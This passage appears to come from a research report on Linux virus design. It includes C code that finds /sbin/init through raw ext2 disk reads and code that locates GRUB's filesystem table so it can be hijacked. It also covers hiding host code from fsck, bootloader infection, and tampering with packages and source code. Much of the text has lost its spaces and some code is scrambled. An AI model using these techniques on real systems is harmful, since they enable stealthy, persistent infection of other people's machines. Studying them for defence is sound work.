|0 |1 |2 |3 |4 |5 |6 |7 |8 |9 |A |B |C |D |E |F | ----+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ [...] 180 |ed|81|00|00|00|7b|07|00|2f|cf|e4|43|2f|cf|e4|43| 190 |2f|cf|e4|43|00|00|00|00|00|00|01|00|c8|03|00|00| 1a0 |00|00|00|00|00|00|00|00|48|06|00|00|49|06|00|00| 1b0 |4a|06|00|00|4b|06|00|00|4c|06|00|00|4d|06|00|00| 1c0 |4e|06|00|00|4f|06|00|00|50|06|00|00|51|06|00|00| 1d0 |52|06|00|00|53|06|00|00|54|06|00|00|00|00|00|00| 1e0 |00|00|00|00|d2|bc|90|e9|00|00|00|00|00|00|00|00| 1f0 |00|00|00|00|00|00|00|00|00|00|00|00|00|00|00|00| 0 1 2 3 4 5 6 7 8 9 A B C D E F

{ / J N R C K O S

/ H L P T

C / I M Q

[...] Fromoffset0x28(0x1a8here),whichstoredthei_blockpointers,wecanseethat"init"is storedinblocksfrom0x648to0x654.Specialcaremustbetakeninthe13thentry,whichpointsto 0x654,sinceitisnotadirectpointertodatabutapointertoablockwithpointerstodata.Luckilyit won'tgetmorecomplicatedforussincethe14thand15thentriesareempty,butitshouldbenoted thatthe14thentryisapointertoablockofpointerstoblocksofpointerstodata(doubleindirection) andthatthe15thentryimplementstripleindirection. Noweverychunkofdataintheinitfilecanbelocated.Takingintoaccountthateveryblock is4096byteslong,thefirst12entriespointtothefirst49152bytes.Theblocktowhichthe13th entrypointsholdsthepointersfortherestofthefile. Programming/sbin/initfilesearch Thisexplanationbecomeseasytocodeasanautomatedprogramtofind/sbin/init.The followingClines,implementedin"ext_checker"astheloption,locatetheinodeentryforthe/ sbin/initfileinanExt2/Ext3filesystem.Someoptimizationsandsuppositionshavebeenmade:the sbinentryintherootdirectoryandtheinitentryinthe/sbindirectoryaresupposedtobeinthefirst 2048bytesoftheirfirstblock.Thismeansthatiftheseconditionsdonotapplythecodewouldbe broken,butsincethestructureofthesedirectoriesisalmostfixed,thiswouldhardlyhappen; checkingforblocksizeandseveralblockswouldenlargethecodeunnecesarilyforthistest:

int locate_init (int fd) { int i,counter; int red_bytes, nbyte; int block_size, inode_table_block, root_dir_block; int current_dir_pointer; int locate_block_count; int sbin_inode; int sbin_first_block; int init_inode; char data_sector[2048]; // Copy this outside! nbyte = lseek (fd,1024,SEEK_SET); red_bytes = read (fd, data_sector, 512); // Here we have the superblock block_size = 1024 * pow (2, (data_sector[0x18] & 0xff)); nbyte = lseek (fd, block_size, SEEK_SET); // Locate pointer at fs descriptor

red_bytes = read (fd, data_sector, 512); // Here it is inode_table_block = (data_sector[0x8] & 0xff); // Get the inode table block // Locate pointer at filesystem descriptor nbyte = lseek (fd, (block_size * inode_table_block), SEEK_SET); red_bytes = read (fd, data_sector, 512); // Here we have it // We want the second inode, the root directory root_dir_block = ( (data_sector[0xa8] & 0xff) + ((data_sector[0xa9] & 0xff) << 8) + ((data_sector[0xaa] & 0xff) << 16) + ((data_sector[0xab] & 0xff) << 24) ); printf ("Root directory block: 0x%x\n",root_dir_block); // Read the / directory nbyte = lseek (fd, block_size * root_dir_block, SEEK_SET); red_bytes = read (fd, data_sector, 512); // Yummy counter = 0; current_dir_pointer = 0; // Locate the sbin entry while ( (data_sector[current_dir_pointer + 0x8] != 's') || (data_sector[current_dir_pointer + 0x9] != 'b') || (data_sector[current_dir_pointer + 0xa] != 'i') || (data_sector[current_dir_pointer + 0xb] != 'n') || (data_sector[current_dir_pointer + 0x6] != 4 ) ) { current_dir_pointer = current_dir_pointer + (data_sector[current_dir_pointer + 0x4] & 0xff); counter++; } // /sbin inode number sbin_inode = ((data_sector[current_dir_pointer + 0x00] & 0xff) + ((data_sector[current_dir_pointer + 0x01] & 0xff) << 8) + ((data_sector[current_dir_pointer + 0x02] & 0xff) << 16) + ((data_sector[current_dir_pointer + 0x03] & 0xff) << 24) ); printf ("/sbin entry located: entry %d, inode 0x%x\n", counter, sbin_inode); // Now to locate the /sbin directory block. Since it is sbin_inode, // it will be at (block_size * inode_table_block) + // ( (sbin_inode - 1) * 80h) nbyte = lseek (fd, ( (block_size * inode_table_block) + ((sbin_inode - 1 ) * 0x80) ) , SEEK_SET); red_bytes = read (fd, data_sector, 512); // Read sbin_first_block = (data_sector[0x28] & 0xff) + ((data_sector[0x29] & 0xff) << 8) + ((data_sector[0x2a] & 0xff) << 16) + ((data_sector[0x2b] & 0xff) << 24) // /sbin inode number ; printf ("/sbin first block: 0x%x\n", sbin_first_block); // Now we have the /sbin file first block! nbyte = lseek (fd, ( block_size * sbin_first_block) , SEEK_SET); red_bytes = read (fd, data_sector, 2048); // More than enough to locate it counter = 0; current_dir_pointer = 0; // Locate the sbin entry while ( (data_sector[current_dir_pointer + 0x8] != 'i') || (data_sector[current_dir_pointer + 0x9] != 'n') || (data_sector[current_dir_pointer + 0xa] != 'i') || (data_sector[current_dir_pointer + 0xb] != 't') || (data_sector[current_dir_pointer + 0x6] != 4 ) )

// Length 4!!

{ current_dir_pointer = current_dir_pointer + (data_sector[current_dir_pointer + 0x4] & 0xff); } init_inode = ((data_sector[current_dir_pointer ((data_sector[current_dir_pointer ((data_sector[current_dir_pointer ((data_sector[current_dir_pointer + + + + 0x00] 0x01] 0x02] 0x03] & & & & 0xff) 0xff) 0xff) 0xff) + << 8) + << 16) + << 24) );

// Finally we've retrieved the inode which corresponds to init. nbyte = lseek (fd, ( (block_size * inode_table_block) + ((init_inode - 1 ) * 0x80) ) , SEEK_SET); red_bytes = read (fd, data_sector, 512); // Read printf ("Init inode number : 0x%x\n", init_inode); // [...] // Print other inode data // [...] }

Whattodowith/sbin/init Once/sbin/initoranyotherfileaviruswouldwanttoattackfromoutsideLinuxandwithout havingitsfilesystemsystemcalls,thereisawiderangeofoptionsonhowtocontinuepenetrating thesystem. Theobviousnextstepisinfectingafile.Thiswouldmeanaminimumoftwopartsinthefile whichistobeinfectedmustbedealtwith:

Theheaderandsegmentheadersfromthefilethatisgoingtobeattacked(thisiseasy, firstblockforboth). Theblocktowhichthefileoffsetwhereexecutionstartsbelongs,andthenextone.These wouldbecalculatedfromtheheaderdata.Forinstance,iftheentrypointisatoffset e_point,thiscouldbedecomposedase_point/blocksize=block_number.If block_numberisbiggerthan12butsmallerthan(12+(block_size/4)),theviruswould havetoaccesstheentrynumber(block_number12)intheblockpointedbythe13th entryinthefileinodei_blocklist.Ifthelastblockisbiggerthan(12+(block_size/4), similarcalculationswouldhavetobemadewithdoubleindirection,orevenwithtriple indirectionifthefileishuge.

However,ifthevirusistoremainhidden(anditisn'ta"cavity"virus,sothefilesizegrows whenitisinfected),itmustbeabletorestoretheoriginalhostcode.Thefilesizewillhavetogrow andthismeansawholesetofnewadditionalproblems,asitwouldhavetodealwiththefilesystem inamuchdeeperlevelthanwhathasbeenshown.Theproblemthenwouldbe,wherecouldthis codebestored? Thereareseveralsolutionstothis:

Blocklevelstealth:Tohidethehostcodethisway,atleastoneblockshouldbe

allocatedandreservedforthehostcode,andthebitmapblock,thefilesystemdescription andsuperblockwouldhavetobemodified. Asanadvantage,theviruscanbeconfidentitisuid0ifanappropiatefileisattacked. Thismeansthatinordertoretrievethecodeitshouldjustknowwhichpartitionitisin (orlookitupat/etc/fstab),readtheblockinwhichitknowsitstoredtheoriginalcode, jumptothestacktoreadtheoriginalcodeintoitsproperplaceinthehostandfinally jumpbacktotheoriginalhostcodeasifnothinghadhappened. However,thereisanobviouscomplicationtothisproblem.Justmodifyingthebitmap blockwillraiseanalarmwhencheckingthefilesystem.Fsckwouldreturnaresultsuch likethis: Pass5:Checkinggroupsummaryinformation Blockbitmapdifferences:5057 Onthenextstep,fsckwouldasktheadministratorifthisistobecorrected.Fixingit meansthebitinthebitblockbitmapwouldbeturnedtozero,andthereforethehostdata wouldbeoverwritten. Tocounterthiswhileaseffectivelyhidingdataandnotdecreasingthepartitionsize, therehasbeenproposedatechniquewhichconsistsongeneratingtoomuch inconsistenciessothatthecurrentlyneededonepassesunnoticed[1];however,this wouldbeaverybadtacticfromtheviruspointofview,sinceitsobjectiveistoremain completelyunnoticed. Thesolutionisthatthedatablockshouldbereferencedbyanactiveinode,though creationofnewoneswouldbecaughtagainifthefilesystemregisterssuchchanges throughtransactions. ThenaworkaroundforthissituationinwhichtheVirtualFileSystemcannotbeusedby theattacker,istheusageofreservedinodes,relatingthemtoblockscontainingdata. Sincetherehasbeennochangeitwouldgounnoticed,exceptforafewforensictools like"Sleuthkit"or"TheCoroner'sToolkit"whichhaveoptionsoncheckingtheseinodes. Oneofsuchinodesisthesecondone,whichreferencesbadblocks. Thistechniqueisactuallyimplementedintheattack_ext1codeinthisprojectandgoes unnoticedbystandardfilesystemcheckouttoolssuchlikefsck.Thecodeisincludedin AppendixC.Thisisisaproofofconceptprogramcalled"ext_attack"(notafunctional virus!)whichwilltrytomanipulateafilecalled"bait"intherootdirectoryandsubstitute itscodewithastringwhichsays"hello!"andconfirmsthattheoriginalcoderemainsin itsplacebyloadingitinmemoryafterwards.

Usingfreeblockspace:Thereisatricktothestandardinfectionmethodwhichwould effectivelyhidethedatainsidethefilebutwithoutalteringthefilesize.Thismethod requiresdirectaccesstodiskblocks,whichshouldbepossiblesincetheviruswouldbe storedinafilewhichisexecutedastheUID0user. Thebestscenarioforthismethodwouldbethatinwhichthelastfileblockisn't

completelyusedandthereisenoughspaceforthevirus,sonofilesystemstructuresneed tobemanipulated.Therefore,if(file_sizemoduloblock_size)>virus_size,the originalhostfilecodecouldbestoredintothisblock.Thiswouldmaketheinfection quiteafeasibletask,sinceonlytheseblockswouldhavetoberetrieved: So,onetacticforaLinuxviruswouldbetryingtolocateothercriticalfilesapartfrom/ sbin/initandinfectingthosewhichallowforenoughfreespaceintheirlastblock.Even ifthefreespaceintheblocksisnotenoughforthevirustobestored,itcouldaswell findafilewhichhasenoughspace;sincetheviruswouldreaditbydirectlyaccessingthe harddiskblock,thisblockdoesnotneedtobelongtothefileitself.However,special careshouldbetakentochoosefileswhicharenotpronetobedeleted,sincesuch deletionwouldbreakthefilewhichthevirusinfected,andifitwasonesuchlike/ sbin/init,thewholesystemstartupwouldbebroken. Unusedmediaareas:AcharacteristicofeveryWindowsOSoperatingsystemand severalUNIXimplementationsisthataftertheMBRandbootrecordintrack1ofthe harddiskuntiltrack2isreached.Thisis,62blocksof512bytesor31Kb,whichcanbe effectivelyusedtohidetheoriginalhostdatawhichwouldberestoredafterthevirus execution.Careshouldbetakenhere,sincebootmanagerssuchlikeGRUBusepartof thisspace. Analternatemethodrelatedtothisonewouldbereducingthesizefromanyofthe partitionsandusingtheremaniningblockstostorethehostcode.Aslongasthe administratordoesnotuseadvancedtoolstocontrolsuchchangesandtheresizereduces thepartitioninasmallquantity,thisisaninterestingideatobeused.

Otherwaysforsimplercrossplatformattacks ThesimplewayinwhichvirusessuchlikeWinuxandMetaphorinfectELFandPEfilesin thecurrentdirectorywhenthey'reexecutedcouldalsobemadestrongerbyfocusingonspecifically infectingbinariesstoredinremotenetworkserverswhichprovideELFexecutablefiles,webservers whichstorepackages(sourcecodescouldalsobemanipulated),etc.Inthissensetherecouldbe possibilitiesoncrossinfection,thoughthesewouldberestrictedandveryspecific,whichisnot desirableinavirussincelowcodesizeisanimportantcharacteristic.

2.3.HackingGrubandbootinfection
InfectingtheMasterBootRecord BeforeWin32systemsarrived,itwascommontoseeviruseswhichinfectedbothfilesand theMasterBootRecord.IntheDOSoperatingsystemtherewerewaysinwhichaviruscouldbe installedinmemorywithouttheoperatingsystemloadingaffectingit;andthecodecouldbe executedlaterandbecomeactiveandmemoryresidentbymeansofahookedinterrupt,forexample, throughhandlingint13h(directdiskaccess).Thiswasalsousedtostealthdiskaccess. ThoughthiscouldnotworkinWin32orLinuxmachines,theMBRcanstillbehookedon purpose,byoverwritingtheMBRandsavingitscontentstoanunusedblockintheharddisk;inthat casetheviruswouldhavetotakecareonkeepingtheMBRidentifierinitscorrectplace(magick bytes0x55AA),andmakesurethatthepartitiontablevaluesalsoremainthere,orelsetheharddisk couldnotbeaccessedfromtheoutside.However,someoldDOSvirusesmovedorencryptedthe partitiontable,inordertocounterattacktheantivirusmechanismonmakinga"cleanboot"froma disketteanddisinfectingthesystemfromit. ThebigdrawbackondirectlymanipulatingtheMBRisthatthereareusuallybuiltin securitymechanismsinBIOSandtherecouldbeintheoperatingsystems,thatdetectmanipulation ofsuchacriticalplace.Therefore,thisshouldnotbeanoptiontoworkwithforanyviruswhichaim istoremainundetected.

GRUBmanipulation ThoughLILOhasclasicallybeenthemostsuccessfulbootmanagerforLinux,inthelatest yearsadifferentbootmanagerhaswontheleadandhasbecomeaflagGNUproduct:thisiscalled GRUB. GRUBisexecutedinthreestages,inwhichthesecondone(knownasstage1.5)isoptional: Stage1:ThisisaprogramwhichisinstalledintheMasterBootRecord,thesamesector whichholdsthepartitiontable,anditsfunctionisjustloadingthenextstageandpassingcontrolto it.IfStage1.5hasbeenconfiguredandisinstalledinthesectorsfollowingtheMBRitwillloadit ataddress0200:0000,andifitisn'tconfiguredtheblockswhichbelongtotheStage2filewillbe loadedataddress0800:0000. Thesameasin"infectingtheMasterBootRecord"applieshere. Stage1.5:ThisincludeslowleveldriverstoloadStage2intomemory,abstractingaccessto thisfiletothevirtualfilesystemlevel.InthecaseStage1.5wasn'tinstalledinitsproperplace, Stage1wouldloadStage2blockwiseinsteadoflettingStage1.5dothisthroughtheVirtualFile System.

Ifthisstageisactive,itisalwaysstoredintheharddisksectorswhichgofrom3to25(22 sectors).Anopportunityforhackingitwouldbeoverwritingthebeginningofthethirdsectorina similarfashionthanourideainsection2.2whendealingwith/sbin/init.Theoriginalcodefrom Stage1.5wouldbestoredinanemptysector;sincetherewere63emptysectorsaftertheMBR withouttakingintoaccountthoseusedbyGRUBStage1.5,therearestillaseriesofemptyones startingfromsector26. Inthiscase,theviruscodewouldbeloadedon0200:0000.Thenextactionitshouldperform ischeckingoutiftheLinuxfilesystemhasbeencorrectlyinfectedinpreviousbootsequences,and thenifitisn't,attackingtheLinuxfilesysteminoneofthewaysdescribedinsection2.2inthis chapter.Finally,theoriginalcodefromthesector(s)overwrittenbytheviruscodewouldbeloaded onaddress0200:0000.Awaytodoso,wouldbejumpingtothestackandloadingthesesectors directlyinto0200:0000;anexampleonhowtodothiscanbefoundinthe"ext_attack"codein AppendixC.Anotherapproachwouldbejumpingtoamemorylocationbefore0200:0000sothat thereisnoneedtojumpback.Itshouldbenoticedthatinordertoloaddatahardwareinterrupts mustbeused;forexample,thisisdonethroughInt13hinthecaseofIntelbasedplatforms.

Stage2:ItisunusualthatStage1.5isnotconfigured,sincethisonlyhappenswhenGRUB isn'tinstalledintheMBRandsothereisnotenoughspaceforittobeinstalledinblocks325.One interestingdifferenceisthatStage2isloadedfromtheLinuxfilesystem,andnotfromblocks separatefromit,whichwouldbethecaseifStage1.5isnotused.ThismeansthatifStage1.5is unusedwecouldmovewiththe"mv"commandthefile/boot/grub/stage2withouthinderingthe bootprocess(sincethebootcodeloadsthesectorsdirectly)butifStage1.5isconfigureditwould actuallystopthebootprocess(sinceStage1.5loadsStage2throughitsbuiltinfilesystemAPIand notthroughdirectblockaccess)[3] FirstandforemostthisimpliesthatifStage2istobemanipulatedinasimilarwaythan thosedepictedforthepreviousstages(overwritingandsavingthebeginningofthehostcode,then restoringitandresumingexecution)specialcareshouldbetakeninthattheStage2blocksremain thesame(elseitwon'tbeloaded,exceptifStage1.5exists),whichalsomeansthattheoriginalcode mustbestoredinanunusedblockandcannotbelongtotheStage2filegrownbigger.

AnalternateapproachtohackGRUBhasbeenrecentlydescribedinaPhrackarticletitled "HackingGrubforFunandProfit"[3].Stage2canbetrickedsothatadifferentfileratherthanthe kernel"/boot/vmlinuzsomeversion"isloadedandexecutedinmemory.Thisstrategy(whichhas thedrawbackthatitislimitedtoextsystems)reliesonthefollowingsteps: Locatingthe"ext2fs"stringinsidethe"Stage2"file,andadjustingtheoffsettofitthe placewheresuchcodeisloadedinmemory.Sincethisis0800:0000,theoffsetinthefile wouldhavetobeadded0x8000followingthesegment/offsetIntellogics.Thiswouldbe called"addr1".ThefollowingCsourcecodegeneratedforthisprojectunderthename grub_extlocate(AppendixD)woulddothejob:


while (notfound > 0) { if ( (data[counter] == 'e') && (data[counter+1] == 'x') && (data[counter+2] == 't') && (data[counter+3] == '2') && (data[counter+4] == 'f') && (data[counter+5] == 's') ) { notfound = 0; } counter++; } counter--; printf ("\n'ext2fs' string located on offset %x",counter); checkval = counter + 0x8000; printf ("\n'ext2fs' adjusted by 0800:0000 to offset %x",checkval);

LocatingsuchvalueinsideStage2code.Thispartisquitehardcodedinthemethodas described.Thenextfiveintegersarecheckedagainstthemselvesandaddr1.Assuchthe firsthastobesmallerthanthesecond,thesecondsmallerthanthethird,thethirdsmaller thantheaddress,andthefourthandfifthmustbezero.Thisthirdintegervalueisthe addresswhereext2fs_dirisembedded. Thehardcodingisbasedonthatinthefilesystemtable,FSYS_EXT2FSholdssix parameters;the"ext2fs"textoffsetwouldbethefirstone(andthebiggerofallvalues sinceitisinthedatasection),thenextinteger(whichwecalled"first"before)isthe ext2fs_mountfunctionoffset,thenextonetheext2fs_readfunction,thenextonethe ext2fs_dirfunction,andthattheothertwointegerareunused(zero).So,theefectiviness ofthismethodwouldrelyontheorderingofthesethreefunctions.Theext2fs_dir,isthe onewhichwouldpointtothebeginningofthemodule. InClanguage,thefollowingroutinewouldlocatethepartofthefsys_tablewhichis neededtocontinueperformingthisstrategy:
counter = 0; notfound = 1; while (notfound > 0) {

tempval = ((data[counter ((data[counter ((data[counter ((data[counter

+ + + +

0x00] 0x01] 0x02] 0x03]

& & & &

0xff) 0xff) 0xff) 0xff)

+ << 8) + << 16) + << 24) );

// Here we make all the cheks if (tempval == checkval) { notfound = 0; // Check if A < B tempval2 = ((data[counter ((data[counter ((data[counter ((data[counter tempval3 = ((data[counter ((data[counter ((data[counter ((data[counter if (tempval2 > tempval3) { notfound = 1; } // Check if B < C tempval4 = ((data[counter ((data[counter ((data[counter ((data[counter if (tempval3 > tempval4) { notfound = 1; }

+ + + + + + + +

0x04] 0x05] 0x06] 0x07] 0x08] 0x09] 0x0A] 0x0B]

& & & & & & & &

0xff) 0xff) 0xff) 0xff) 0xff) 0xff) 0xff) 0xff)

+ << << << + << << <<

8) + 16) + 24) ); 8) + 16) + 24) );

+ + + +

0x0C] 0x0D] 0x0E] 0x0F]

& & & &

0xff) 0xff) 0xff) 0xff)

+ << 8) + << 16) + << 24) );

// Check if C < string offset if (tempval4 > tempval) { notfound = 1; } // Check for zero values 1 and 2 if ( (data[counter + 0x10] != 0) || (data[counter + 0x11] != 0) || (data[counter + 0x12] != 0) || (data[counter + 0x13] != 0) ) { notfound = 1; } if ( (data[counter + 0x14] != 0) || (data[counter + 0x15] != 0) || (data[counter + 0x16] != 0) || (data[counter + 0x17] != 0) ) { notfound = 1; } } counter++; } counter--; // Adjust it

printf ("\nPointer to string 'ext2fs' located on offset %x",counter);

Oncetheext2fs_diroffsetislocated,thecodewouldoverwritethecodefromGRUBfor anunusedfilesystem,andMinixisproposed.Thebeginningofext2fs_dirwouldbe overwrittenwithajumptothisaddressandherethecodewouldstartexecuting. Affectingminix_dirispossiblesinceinthishardcodedmethodthefsys_tableisas follows:


struct fsys_entry fsys_table[NUM_FSYS + 1] = { ... # ifdef FSYS_EXT2FS {"ext2fs", ext2fs_mount, ext2fs_read, ext2fs_dir, 0, 0}, # endif # ifdef FSYS_MINIX {"minix", minix_mount, minix_read, minix_dir, 0, 0}, # endif ... };

Anexampleofanoutputfromthegrub_extlocateprogramcodedforthisprojectwould bethefollowing(caremustbetakensincetheoffsetsshownarenotfileoffsets,but wouldhavetobesubstracted0x8000tobeso):


'ext2fs' string located on offset 139bd 'ext2fs' adjusted by 0800:0000 to offset 1b9bd Pointer to string 'ext2fs' located on offset 19430

FSYS_EXT2FS holds the following values: 'ext2fs' string: 1b9bd ext2fs_mount address: 128a8 ext2fs_read address: 12baf ext2fs_dir address: 12c7f ext2fs unused1: 0 ext2fs unused2: 0

MINIX_EXT2FS holds the following values: 'ext2fs' string: 1b9f7 ext2fs_mount address: 13eb8 ext2fs_read address: 1404d ext2fs_dir address: 140e5 ext2fs unused1: 0 ext2fs unused2: 0

Inthisstrategyasdescribedinthearticle,thecodeinminix_dirshouldbetrojanized,so thatitmodifiesdatainext2fs_dironthefly.Thedatawhichshouldbemodifiedisthe string/boot/vmlinuzsomething,whichwouldmakeGRUBloadafakefileasakernel,in ordertoloadatrojanizedversionofit.

However,thisisnotusefulforviruseswhichcannotbeofanexcessivelength.Inspite ofthis,thepartofthistechniquethathasbeendescribeduptonowcanbeused;the importantthinghereisthattheviruscodegetscontrol,andthiswouldhappenassoonas theext2fs_dirprocedureishookedbyajumpwhichstartsexecutingtheminix_dir procedure.Theretheviruscouldtakecontrol;itcouldstartreadthefilesystemandinfect thefilesitconsidersworth.

EvenifthismechanismissomewhathardcodedandmaychangeifGRUBdevelopers changethelocationofthefilesystemfunctionsorthefsys_tableentryitself,thisstrategy couldbebetterthantheideaonhookingtheMBRorGRUB'sStage1.5. SincehookingtheMBRinvolvesthemodificationofaharddiskzonewhichisusually monitoredforchanges,theviruscouldeasilybedetected.RelyingonStage1.5 modificationisalsounsecure,sincethisstageisoptional.Thestrongeroptionwould thenbeattackingStage2,eitherinthiswayorbydirectlyhookingitsentrypointorby hookingext2fs_dir(whichwouldbeamuchmorestealthyoption,evenifitmaynot endurethepassoftimeandnewerversionsofGRUBcouldstopit).Inanyofbothcases, thespaceinsideMinix_dircouldbeusedtoattackthefilesystemortoloadtherestofthe virusintomemorysoitcanperformthisattackagainstbasicfilesintheExt2/Ext3 system,withoutmakingthefilesizegrow.

2.4.Exploits
UsingexploitsembeddedinvirusestogetrootpriviledgesinaLinuxsystemisatechnique thatwasconsideredandimplementedevenbythefirstLinuxvirus,Staog.Asitwillbedetailedin thefourthsectionofthisproject,thisvirustriedthreedifferentexploitswhichwereusefulinits timeattemptingtorunasUID0.Alongtimehaspassed,however,sincethevulnerabilitiesthatled tosuchexploitswerecorrected. AsinthecaseofStaog,anyattempttoachievepriviledgeaccessthroughexploiting vulnerabilitieshasthesameseriesofdisadvantages;suchattackswouldworkforalimitedamount oftime,whichwouldbeespeciallylimitedifthevirusisusingavulnerabilitydiscoveredbyanyone else.Onceapatchisavailableforthevulnerabilityfromwhichtheexploitiswrittenandthis usuallyhappensfast,thescopeoftheviruswouldbestronglylimited.Eveninthecasethatthe viruswriterhasdiscoveredthevulnerabilityanddevelopedtheexploithirself,assoonasthevirus codehasbeenisolatedanddisassembledthevulnerabilityandaswellthemechanismthroughwhich itisexploitedwillbediscovered. However,aninterestingpossibilitythatstillremainsisthatofafastspreadingvirususinga remoteexploit.ThistactichasbeenalreadyusedbyWindowswormswithagreatsuccess,incases suchliketheBlasterwormwhichusedtheRPCDCOMvulnerability,theSasserwormwhich exploitedavulnerabilityintheLSASSservice,ortheSQLSlammervirus,whichattackedMicrosoft SQLdatabases. Thedrawbacksinthismethodofusingremoteexploits,however,godeeperthanjustthe needforfastspreadingwhendealingwithLinuxsystems;thelackofacommonconfiguration standardwithdifferentpackagesandversionsdependingontheLinuxdistributionandthelackof acommonsetofopenportsandapplicationsassociatedwiththem,highlydiminishtheriskofa commonremoteattackwiththeabilitytoaffectalargeproportionofLinuxsystems.

2.5.Sourcecodemanipulation
Thistechnique,whichhasbeenbarelyusedforthepresent,wouldconsistinthe manipulationofsourcecodefilesinordertoinsertcomputermalware,andvirusesinourcase. SinceitisnotunusualthatinLinuxsystemssourcecodefromapplicationsincompiledinthe machinethatisgoingtoexecuteit,suchmanipulationcouldbeawaytopenetrateit. However,eventhoughitmaybeawayforintrusionintosystemsifwerelyinthe assumptionthatmostadministratorsdonotreviewthecodetheycompile,theoppositeisalsotrue; thissortofmechanismalsoleavesthevirusinplaintextandsoitcouldbedetectedjustbyanyone wholooksatthesourcecode.Forexample,alongseriesofinlineassemblerlinesoradumpofhex codeintothemain()functioninCfilescouldtriggerareasonablesuspicion. Adrawbackwiththismethodisthattheviruswouldneedtoimplementadisassemblerifit wantstointroduceitselfasinlineassembler;andthiswouldbemuchmorecomplicatedifanyother languagethanassemblerwaschosen.Twoalternatesolutionstothishavebeenproposed[4];oneof themwouldconsistongeneratingabinarywhichisexecutedthroughanexecve()orsimilarcall,the

otherthroughprogramminga"quine"(thisis,programsthatgeneratetheirsourcecodewithout havingtoreadtheircode). Anotherproblemonthisapproachis,whenarethesourcecodefilestobeattacked?Ifthey weremanipulatedinitsorigin(sothattheirdistributionsparkstheinfection),theauthorofthecode wouldhaveaccesstosuchfiles;andnoonewouldbebettersuitedtodetectsomethingwrongis goingonthantheveryauthorofthecode.

2.6.RPM&DEBpackages
Fortunately,packagesystemssecurityhasincreasedthroughouttheyears,anditisnotas easytoinsertmaliciouscodeinsideapackagestealthly.ModernRPMsdonothave"features"of oldsuchlikebinarieswhichareexecutedwithouttheusernoticing. NowtheusualpolicyisatleastthatanMD5sumisprovidedsothattheusercancheckthe filehasnotbeentamperedwith.Latelyitisbecomingcommonthatasignaturefileisprovided alongwiththepackage,signedwithagpgkeyfromadeveloperwhichpublicpartisavailabletothe public. However,thepossibilityondownloadingandinstallingmanipulatedpackagesincluding binariesstillexists.InthecaseofMD5sums,thesecanbemanipulated,especiallyiftheattacker haspersonalorautomatedaccesstotherepositorysite. Thoughtheclientserversituationisthemostcommon(especiallyin.debpackageswhere theprocessisautomatedthroughaptget),thepossibilityexistsonuserspassingpackagesamong themselves,andcouldprovideaninfectionbreakthrough.Sameriskcouldbestated,however,on anydeveloperwithbadintentions,sinceanundetectedviruscouldbeapartofapackagebinaryin anypublicplacefromwhichusersdownloadapplications;inexample,Freshmeat. Assuch,aninitialdistributionofavirusthroughpackagescouldwidelyspreadavirus. SincethecommonbehaviourwheninstallingsuchpackagesiscommonlyforinstanceinRPMthat ofsuingtorootandexecuting"rpmipackage.rpm",infectedfileswhichlooklikelegit applicationscouldhavedramaticconsequencesinthespreadspeedofaLinuxvirus.

2.7.References
[1]DataHidinginJournalingFileSystemsKnutEckstein,MarkoJahnke [2]ComputerBootSequence,Mossywellhttp://www.mossywell.com/bootsequence/ [3]HackingGrubforfunandprofitCoolQPhrackmagazineissue#63 [4]JoinusandsharethemalwareZert29Amagazineissue#7

III

Advancedvirustechniques
Wewillconcentrateinsidethissectiononwhatcanbedonefromthevirusperspectiveonce thevirusisinsidethesystemandithasobtainedadministratorcontrol,asopposedtothe possibilitiesthroughwhichthiscouldbemadetooccur,whichwastheaimoftheprevioussection. Aswell,thissectionfeaturesELFinfectionbasics;thoughthiscanhappenwithout administratoraccess,usuallysystembinariesareonlywritablebypriviledgedusers,sothisiswhyit isdescribedhere.

1.Advancedtechniques
1.1.ELFfileinfection 1.1.1.ExecutinganELFfile 1.1.2.ELFfilestructure 1.1.3.Infectionmethods 1.2.Memoryresidence(perprocess) 1.2.1.Introduction 1.2.2..GOTand.PLTsections 1.2.3.Hookingthesharedlibrarycalls 1.3.Memoryresidence(ring0) 1.3.1.Strategystructure 1.3.2.Runninginsupervisormode 1.3.3.RetrievingthekernelAPI 1.3.4.Hijackingkernelfunctions 1.3.5.Stealthhijackingtechniques 1.4.Diskstealth 1.4.1.Filestealth 1.4.2.Furtherstealth 1.5.References

1.1.ELFfileinfection
Inthissection,IwilldescribetheELFformatandshowwaysinwhichitcanbeinfectedby avirus.ELFisbyfarthemostusedexecutableformatinLinux,thoughinoldsystemswecould stillfindtheold"a.out"formatwhichiscomposedofanextremelysimpleheaderinwhichtheentry pointandsectiondescriptorsareheld;infectioninsuchformatswouldonlyneedtoenlargethecode sectionandmodifytheentrypoint,butinthecommonELFformatthingsgetquitemore complicated. 1.1.1.ExecutinganELFfile TheprocesswhichtakesplacewhenanELFfileisexecutedfromtheshellconsistsonthe followingsteps:

First,theshellcallstheexecve()functioninlibc Thisfunctioncallskernelfunctionsys_execve(),whichopensthefilewithanother functioncalleddo_execve() Filenametypeissearchedwithakernelfunctioncalledsearch_binary_handler(). Fileandlibrariesareloadedthroughload_elf_binary()functioninkernel. Finally,astart_thread()callmakestheprogramstartexecuting.

ELFfilesaredividedintoseveralsegmentsinmemory,whichinasimplemodelwouldbe dividedintocode,dataandstack.Eachofsuchsegmentswouldhavedifferentpermissions(for example,codehasexecutionpermissionsbutitcannotbewrittento).Suchpermissionsaremore specificallydetailedinthesectionsthatbelongtoeachsegment,andthewayinwhichthisis applieddependsonthearchitecture:inIntelbasedcomputers,itisthesegmentpermissionswhich areused.However,itshouldbenotedthataswealsohavememoryorganizationthroughpagesin Intelcomputers,thepermissionsinindividualpagescanbechangedthroughcallstothemprotect() syscallfromwithinaprocess. Thefileitselfasstoredinthediskismorecomplex.There,wewillfindtablesand instructionsonhowtoloadthesegmentsandsections,andseveralstructurescontaininginformation relatedtotheELFfile. Asignificantamountofthevaluesindatafieldsdonotrefertophysicaloffsets(indisk)but torelativevirtualaddresses.Tounderstandthis,wehavetotakeintoaccountthatwhenanELFis loadedintomemory,itisgivenaBaseAddresstowhichthememoryimageoftheprogramis relocated.Therefore,virtualaddressesareoffsetsrelativetothisdynamicBaseAddress,whichdo notnecessarilycorrespondtotheoffsetsinthefile.However,relativevirtualaddressesandfile offsetscanbetranslatedintoeachother.

